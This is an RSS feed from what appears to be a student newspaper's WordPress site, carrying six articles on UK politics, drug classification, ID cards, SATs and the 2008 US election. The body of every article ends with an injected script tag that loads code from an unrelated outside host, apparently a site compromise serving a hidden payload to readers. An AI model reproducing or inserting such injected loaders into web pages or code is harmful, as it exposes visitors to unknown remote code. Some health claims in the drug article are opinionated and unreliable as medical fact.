<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Ripple Online &#187; Current Affairs</title>
	<atom:link href="http://therippleonline.com/category/news/currentaffairs/feed/" rel="self" type="application/rss+xml" />
	<link>http://therippleonline.com</link>
	<description>The Official University of Leicester Student Newspaper</description>
	<lastBuildDate>Fri, 09 Apr 2010 11:10:45 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Government Ignores Drug Claims</title>
		<link>http://therippleonline.com/2009/05/government-ignores-drug-claims/</link>
		<comments>http://therippleonline.com/2009/05/government-ignores-drug-claims/#comments</comments>
		<pubDate>Mon, 25 May 2009 16:22:07 +0000</pubDate>
		<dc:creator>Esther</dc:creator>
				<category><![CDATA[Carousel]]></category>
		<category><![CDATA[Current Affairs]]></category>

		<guid isPermaLink="false">http://therippleonline.com/?p=663</guid>
		<description><![CDATA[The Government last week rejected claims by the Advisory Council on the Misuse of Drugs (ACMD) to downgrade ecstasy to a Class B drug. The ACMD’s review builds on evidence from a 2007 investigation by The Academy of Medical Scientists which claimed that ‘the current system is not fit for purpose’. It reviewed 20 different<a href="http://therippleonline.com/2009/05/government-ignores-drug-claims/"><br/> read more..</a>]]></description>
			<content:encoded><![CDATA[<p>The Government last week rejected claims by the Advisory Council on the Misuse of Drugs (ACMD) to downgrade ecstasy to a Class B drug. The ACMD’s review builds on evidence from a 2007 investigation by The Academy of Medical Scientists which claimed that ‘the current system is not fit for purpose’. It reviewed 20 different drugs, including 5 legal ones. Shockingly, ecstasy placed only 18th most dangerous, whilst alcohol placed 5th and tobacco 9th.  The study measured the drugs on 9 different areas, one of which being strength of dependency to the drug. This is one of the main reasons for ecstasy’s low placing in the study’s harm rating, as there has never been a proven case of anyone being addicted to MDMA (ecstasy’s main ingredient). The study also rated the drugs on how harmful use of them is to society, and as dependency causes most drug related crime, such as robbery and prostitution, ecstasy rated low on this count too. There is also debate on how many deaths are caused by ecstasy, some estimates giving the figure as low as 10 a year, whilst others claim it is closer to 60. However, one person a week dies from alcohol poisoning, so even the higher of these estimates still rates alcohol as dangerous as ecstasy.  Despite this, a Home Office spokesman said that the Government had no plans to downgrade ecstasy from a Class A drug, which it has been since 1977, basing much of this decision on there being no ‘safe dose’ of the drug. Taking just one ecstasy tablet could kill you, whilst one glass of wine is rather more unlikely to produce the same effect. However, a large proportion of deaths or side-effects caused from taking ecstasy are due to the drug being cut with different substances, such as ketamine or amphetamine. People often do not know what they are buying, which is an unfortunate side-effect of MDMA being illegal, meaning that there is no external body to check standards or purity.  Approximately 70% of ecstasy believed to be in the UK market at any one time is in tablet form, the remaining 30% mainly consisting of powdered ecstasy, or crystal ecstasy as it is more widely known. This form of the drug has caused even more health risks as it is much stronger than in tablet form, leading to more overdoses. There have also been reports of several incidents of drug users accidentally taking ecstasy whilst believing it to be cocaine, not only making it more dangerous as they are mixing drugs, but also due to MDMA being almost 10 times more powerful than cocaine.  Ultimately the dangers of taking any illegal substances are very real, but it is important that the punishment truly reflects the implications of selling or taking the drug in question.</p>
<p><strong>Esther Dudley</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://therippleonline.com/2009/05/government-ignores-drug-claims/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is This The Beginning Of The End For The Royals?</title>
		<link>http://therippleonline.com/2009/05/is-this-the-beginning-of-the-end-for-the-royals/</link>
		<comments>http://therippleonline.com/2009/05/is-this-the-beginning-of-the-end-for-the-royals/#comments</comments>
		<pubDate>Mon, 25 May 2009 16:18:05 +0000</pubDate>
		<dc:creator>Esther</dc:creator>
				<category><![CDATA[Carousel]]></category>
		<category><![CDATA[Current Affairs]]></category>
		<category><![CDATA[Queen]]></category>
		<category><![CDATA[Royal Family]]></category>

		<guid isPermaLink="false">http://therippleonline.com/?p=660</guid>
		<description><![CDATA[In the wake of Gordon Brown&#8217;s appeal to Labour&#8217;s ‘grass-roots&#8217; at their party conference, anti-monarchic sentiment appears to be emerging in the Government. In a move that has been compared to the seven year ordeal of banning fox-hunting, news has broken that plans to amend the 1701 Act of Settlement have been passed to Downing<a href="http://therippleonline.com/2009/05/is-this-the-beginning-of-the-end-for-the-royals/"><br/> read more..</a>]]></description>
			<content:encoded><![CDATA[<p>In the wake of Gordon Brown&#8217;s appeal to Labour&#8217;s ‘grass-roots&#8217; at their party conference, anti-monarchic sentiment appears to be emerging in the Government. In a move that has been compared to the seven year ordeal of banning fox-hunting, news has broken that plans to amend the 1701 Act of Settlement have been passed to Downing Street by Labour backbencher Chris Bryant. Any amendments would see the Labour party returning to its path of constitutional<br />
reform, begun in the government&#8217;s first and second terms of office with devolution and House of Lords reform.</p>
<p>The proposed amendments include abolishing the priority of male succession to the Crown, and any discrimination against Roman Catholics. This will mean in practice that if Prince William&#8217;s first child is a girl, and she ends up marrying a Catholic, she will still be allowed to become Queen; even if she has a younger brother who hasn&#8217;t married a Catholic.</p>
<p>Reactions to the plans have been polarised; with the tabloid Daily Mail calling them a ‘crowning insult&#8217;, resorting to questioning the trustworthiness of Mr. Bryant by showing a picture of him posing with swimsuit models. Those on the traditional political ‘left&#8217; have congratulated the move; Lynne Featherstone, Liberal Democrat spokesperson on equality issues said: &#8220;This is an overdue but welcome move. Whilst the hereditary principle itself is obviously still a bit dodgy, at least this modernisation ends the outrageous discrimination against Catholics and women.&#8221;</p>
<p>Further questions have been raised as a result of the possibility of change in the monarchy. Writing in the Guardian newspaper, Geoffrey Robertson has questioned the very idea of a hereditary head of state: &#8220;The laws which define and protect the Royal Family breach at least four articles of the European convention on human rights.&#8221; This convention, now incorporated into UK law under the 1998 Human Rights Act, states in Article 14 that &#8220;The enjoyment of the rights and freedoms set forth in this [Act] shall be secured without discrimination on any ground such as sex, race, colour, language, religion, political or other opinion, national or social origin, association with a national minority, property, birth or other status.&#8221; It is the last attribute mentioned that interests us on this occasion. Whether the current government, or any other in the future, will choose to recognise that the very existence of the monarchy contravenes laws made by their supposed Parliament is something we may have to wait a long time for, given the delay between 1707 and 2008.</p>
<p><strong>D.J. Austin</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://therippleonline.com/2009/05/is-this-the-beginning-of-the-end-for-the-royals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mandelson’s Return</title>
		<link>http://therippleonline.com/2009/05/mandelson%e2%80%99s-return/</link>
		<comments>http://therippleonline.com/2009/05/mandelson%e2%80%99s-return/#comments</comments>
		<pubDate>Mon, 25 May 2009 16:12:32 +0000</pubDate>
		<dc:creator>Esther</dc:creator>
				<category><![CDATA[Carousel]]></category>
		<category><![CDATA[Current Affairs]]></category>
		<category><![CDATA[Peter Mandelson]]></category>

		<guid isPermaLink="false">http://therippleonline.com/?p=657</guid>
		<description><![CDATA[Who would have thought it? The expected “minor reshuffle” developed into the one of the most headline-grabbing reshuffles that you’re ever likely to see, and all thanks to Peter Mandelson’s astonishing return to cabinet. Mr. Mandelson twice resigned from cabinet posts under Tony Blair’s leadership &#8211; once over a loan from ministerial colleague Geoffrey Robinson<a href="http://therippleonline.com/2009/05/mandelson%e2%80%99s-return/"><br/> read more..</a>]]></description>
			<content:encoded><![CDATA[<p>Who would have thought it? The expected “minor reshuffle” developed into the one of the most headline-grabbing reshuffles that you’re ever likely to see, and all thanks to Peter Mandelson’s astonishing return to cabinet. Mr. Mandelson twice resigned from cabinet posts under Tony Blair’s leadership &#8211; once over a loan from ministerial colleague Geoffrey Robinson and once over allegations of misconduct regarding a passport application for the Hinduja brothers. After this humiliation he was sent to Brussels in 2004 to become the EU trade commissioner.  His appointment as the new business secretary was met with both praise and disappointment by sections of the Labour party. The Prime Minister said he brought Mandelson back into the cabinet because he needed ‘serious people for serious times’ and it was in the ‘national interest’ to bring in Mandelson because of his experience in global trade.  Pressed on his 14 year feud with Mandelson, said to stem from Mandelson&#8217;s backing for Mr. Blair as Labour leader in the 1990s, the Prime Minister said: &#8220;Whatever the ups and downs have been in the past, everybody has got to come together and make sure that as a nation we come through this successfully.&#8221;  However, some backbenchers have already denounced his appointment. Labour MP John McDonnell said: &#8220;This is an extraordinary step backwards into the worst elements of the Blair era, to reinstate possibly the most divisive figure in Labour&#8217;s recent history.&#8221;  This is a huge gamble for Brown &#8211; perhaps the biggest of his political career. If the two can be seen to have put aside their differences and work together it could provide a boost for Brown’s flagging leadership. However, Mandelson could become a rallying point for disillusioned Blairite’s which could instigate the PM’s downfall.  Labour are saying that their opponents are fearful of Mandelson&#8217;s political skills which have saved Labour many times. That is true, and he did so brilliantly, but that was then. Subsequently the sort of politics that he has come to personify have been discredited. Mandelson is not a popular politician in the country, however good he might be at internal party strategy. But could this be, as Mandelson said, his “third time lucky?”</p>
<p><strong>James Deighton</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://therippleonline.com/2009/05/mandelson%e2%80%99s-return/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I.D. Cards Unveiled</title>
		<link>http://therippleonline.com/2009/05/id-cards-unveiled/</link>
		<comments>http://therippleonline.com/2009/05/id-cards-unveiled/#comments</comments>
		<pubDate>Mon, 25 May 2009 16:07:32 +0000</pubDate>
		<dc:creator>Esther</dc:creator>
				<category><![CDATA[Carousel]]></category>
		<category><![CDATA[Current Affairs]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[I. D. Cards]]></category>

		<guid isPermaLink="false">http://therippleonline.com/?p=654</guid>
		<description><![CDATA[The first recipients of the I.D. cards to be introduced by the Government will be foreign nationals, and the design of the cards was finally unveiled on September 25th. To begin with the cards will be handed out to an expected 50,000 foreign nationals between March and November 2009 as they apply to extend their<a href="http://therippleonline.com/2009/05/id-cards-unveiled/"><br/> read more..</a>]]></description>
			<content:encoded><![CDATA[<p>The first recipients of the I.D. cards to be introduced by the Government will be foreign nationals, and the design of the cards was finally unveiled on September 25th. To begin with the cards will be handed out to an expected 50,000 foreign nationals between March and November 2009 as they apply to extend their visas or for civil partnerships, according to the Guardian.  Home Secretary Jacqui Smith, showing off an example of the baby pink and pale blue cards, has promised that they would ‘combat identity theft, help prevent illegal immigration and enable people to prove their identity more easily.’ After first introducing the cards amongst those in security sensitive roles, the Government plan to encourage young people to enrol in the scheme by 2010. It will not, however, be compulsory for the general population to sign up.  The cards themselves are the size of a credit card and each I.D. card bears a digital image of the holder, their name, the place and date of the card’s issue, a signature and a unique identity number. For foreign nationals there is also a “type of permit” section showing the person’s visa category as well as a “valid until” date showing how long the holder has permission to stay in the UK. On the reverse, the card carries an electronic chip recording biometric details including fingerprints. The holder’s gender, date and place of birth and nationality are also recorded.  One embedded background symbol is a royal crest, rather than the Union flag; the other is a bull meant to depict the form the Greek god Zeus took when he abducted Europa. There are numerous security features, incorporating raised numbers, optically variable ink which changes colour as the cards is tilted and a raised plant stem from which the UK’s national flowers &#8211; rose, thistle, daffodil and shamrock &#8211; grow. The final design of the I.D. card for UK citizens will be broadly similar but is likely to be in a different colour, may not have the EU bull motif and will dispense with several of the information categories specific to foreign nationals.  David Davis, the former shadow Home Secretary, resigned over the issue of the I. D. card scheme. Speaking about the Government’s plans, Mr. Davis explained that ‘it is typical of this government to kick-start their misguided and intrusive I.D. scheme with students and foreigners &#8211; those who have no choice but to accept the cards. It marks the start of the introduction of compulsory ID cards for all by stealth.’</p>
<p><strong>Ailsa Stanley</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://therippleonline.com/2009/05/id-cards-unveiled/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SATs Exams Scrapped</title>
		<link>http://therippleonline.com/2008/11/sats-exams-scrapped/</link>
		<comments>http://therippleonline.com/2008/11/sats-exams-scrapped/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 19:55:44 +0000</pubDate>
		<dc:creator>Esther</dc:creator>
				<category><![CDATA[Carousel]]></category>
		<category><![CDATA[Current Affairs]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[exams]]></category>

		<guid isPermaLink="false">http://therippleonline.com/?p=289</guid>
		<description><![CDATA[
Last week, schools secretary Ed Balls announced that Key Stage 3 SATs are to be scrapped. This revelation comes after the fiasco surrounding this year’s SATs results. The firm charged with administering the tests, ETS Europe, was involved in a series of mishaps, causing a delay in the release of the results – some schools<a href="http://therippleonline.com/2008/11/sats-exams-scrapped/"><br/> read more..</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://therippleonline.com/wp-content/uploads/2008/11/sats440_300.jpg"><img class="alignnone size-medium wp-image-291" title="sats440_300" src="http://therippleonline.com/wp-content/uploads/2008/11/sats440_300-300x204.jpg" alt="" width="300" height="204" /></a></p>
<p>Last week, schools secretary Ed Balls announced that Key Stage 3 SATs are to be scrapped. This revelation comes after the fiasco surrounding this year’s SATs results. The firm charged with administering the tests, ETS Europe, was involved in a series of mishaps, causing a delay in the release of the results – some schools were still awaiting them last month.</p>
<p>The exams, introduced by the Conservatives in the mid-90s, were originally intended as a form of teacher assessment. However, lately, tension caused by league tables and Ofsted reports has led to more pressure being placed on the students to perform well. Recent reports from a two year investigation by Cambridge University have shown that children attending English primary schools are subjected to more testing than those in any other country. This has instigated the practice of only teaching students what they need to pass the exams, as opposed to concentrating on pupil understanding.</p>
<p>However, some have speculated whether the tests would have remained if ETS hadn’t failed to perform. SATs have only been used in schools for just over a decade, suggesting that perhaps they have not been in use long enough for their effects to be apparent. Also, the standard of education could be radically affected by the change in teaching methods – teachers would have to be retrained. In addition to this, Mr Balls is showing a reluctance to dispose of the other two Key Stages, due to the large amount of exams imposed on children at secondary school. He believes that parents can gauge primary school standards through GCSE and A-level results. Yet some critics have argued that this may lead to a trend of ‘teaching for tests’.</p>
<p>Christine Blower, acting general secretary of the National Union of Teachers, said the announcement on Key Stage 3 tests was an “admission that the current testing system has failed”.</p>
<p>Presently, it seems that this system of monitoring will be replaced by more classroom assessments during the first three years of secondary school, as well as the testing of random samples of children. Students will move up to the next level ‘when ready’ &#8211; similar to graded music tests. As well as this, American style report cards will be introduced by 2011. These will be used in conjunction with Ofsted reports to provide parents with a guide of secondary school standards.</p>
<p><strong><span style="font-size: small; color: #282944; font-family: MyriadPro-Bold;"><span style="font-size: small; color: #282944; font-family: MyriadPro-Bold;"><span style="font-size: small; color: #282944; font-family: MyriadPro-Bold;">Natalie Turner</p>
<p></span></span></span></strong></p>
<p><span style="font-size: small; color: #282944; font-family: MyriadPro-Bold;"><span style="font-size: small; color: #282944; font-family: MyriadPro-Bold;"></span></span><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://therippleonline.com/2008/11/sats-exams-scrapped/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OBAMA ‘TEN POINTS AHEAD’ IN LATEST POLLS</title>
		<link>http://therippleonline.com/2008/11/obama-%e2%80%98ten-points-ahead%e2%80%99-in-latest-polls/</link>
		<comments>http://therippleonline.com/2008/11/obama-%e2%80%98ten-points-ahead%e2%80%99-in-latest-polls/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 20:28:17 +0000</pubDate>
		<dc:creator>Esther</dc:creator>
				<category><![CDATA[Carousel]]></category>
		<category><![CDATA[Current Affairs]]></category>
		<category><![CDATA[American Elections]]></category>
		<category><![CDATA[Barack Obama]]></category>

		<guid isPermaLink="false">http://therippleonline.com/?p=273</guid>
		<description><![CDATA[
The Democratic nominee moves into pole position as American voters concern over the economic crisis grows.
With little more than two weeks until polling day in the US Presidential election, Barack Obama is starting to establish a clear lead in numerous polls, with evidence suggesting he is ahead in many of the key battleground states that<a href="http://therippleonline.com/2008/11/obama-%e2%80%98ten-points-ahead%e2%80%99-in-latest-polls/"><br/> read more..</a>]]></description>
			<content:encoded><![CDATA[<div><a href="http://therippleonline.com/wp-content/uploads/2008/11/obama.jpg"><img class="alignnone size-medium wp-image-287" title="obama" src="http://therippleonline.com/wp-content/uploads/2008/11/obama-300x225.jpg" alt="" width="300" height="225" /></a></div>
<div>The Democratic nominee moves into pole position as American voters concern over the economic crisis grows.</div>
<p>With little more than two weeks until polling day in the US Presidential election, Barack Obama is starting to establish a clear lead in numerous polls, with evidence suggesting he is ahead in many of the key battleground states that he needs to win in order to secure the Presidency. National polls suggest he enjoys a ten point lead over his Republican rival John McCain, and in &#8220;swing&#8221; states such as Florida, Colorado and Ohio &#8211; all of which were won comfortably by George W. Bush in both 2000 and 2004 &#8211; Obama enjoys between 5 and 10 point leads. The extent of Obama&#8217;s recent surge is perhaps most clearly evident in Virginia, a state that has not backed a Democratic Presidential candidate since 1964 but now backs Obama by up to 10 points.</p>
<p>Obama&#8217;s recent momentum can largely be attributed to American fears over the economy. With the American financial system teetering on the brink of collapse, unemployment rising and fuel prices sky high, Americans are looking for a leader that can best guide them through this perilous and uncertain time, and thus far Obama has proved their preference. The economy as the main issue in the Presidential race clearly favours the Harvard-educated Obama who has advocated prudent policies which have gained widespread approval from many American&#8217;s and convinced many undecided voters and even some previous McCain supporters to back Obama. Anecdotal evidence even suggests voters who initially rejected Obama because of his race are now prepared to set aside their racism to vote for the candidate that will best secure their employment and prosperity.</p>
<p>Thus whilst Obama has proposed health care reform and tax raises for big earners and successfully allied himself with white working class voters, McCain has appeared to be floundering.</p>
<p>Adam Evans<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://therippleonline.com/2008/11/obama-%e2%80%98ten-points-ahead%e2%80%99-in-latest-polls/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
